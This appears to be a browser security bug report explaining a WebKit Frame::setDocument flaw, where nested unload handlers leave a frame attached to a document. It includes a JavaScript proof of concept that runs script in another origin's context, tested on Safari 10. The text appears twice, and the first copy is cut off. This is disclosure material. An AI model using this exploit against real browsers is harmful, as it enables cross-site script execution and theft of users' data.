Here's a snippet of Frame::setDocument. ``` void Frame::setDocument(RefPtr<Document>&& newDocument) { ASSERT(!newDocument || newDocument->frame() == this); if (m_doc && m_doc->pageCacheState() != Document::InPageCache) m_doc->prepareForDestruction(); m_doc = newDocument.copyRef(); ... } ``` Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|. PoC: ``` "use strict"; let f = document.documentElement.appendChild(document.createElement("iframe")); let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe")); a.contentWindow.onunload = () => { f.src = "javascript:''"; let b = f.contentDocument.appendChild(document.createElement("iframe"));...
Here's a snippet of Frame::setDocument. ``` void Frame::setDocument(RefPtr<Document>&& newDocument) { ASSERT(!newDocument || newDocument->frame() == this); if (m_doc && m_doc->pageCacheState() != Document::InPageCache) m_doc->prepareForDestruction(); m_doc = newDocument.copyRef(); ... } ``` Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|. PoC: ``` "use strict"; let f = document.documentElement.appendChild(document.createElement("iframe")); let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe")); a.contentWindow.onunload = () => { f.src = "javascript:''"; let b = f.contentDocument.appendChild(document.createElement("iframe")); b.contentWindow.onunload = () => { f.src = "javascript:''"; let doc = f.contentDocument; f.onload = () => { f.onload = () => { f.onload = null; let s = doc.createElement("form"); s.action = "javascript:alert(location)"; s.submit(); }; f.src = "https://abc.xyz/"; }; }; }; f.src = "javascript:''"; ``` Tested on Safari 10.0.2(12602.3.12.0.1).
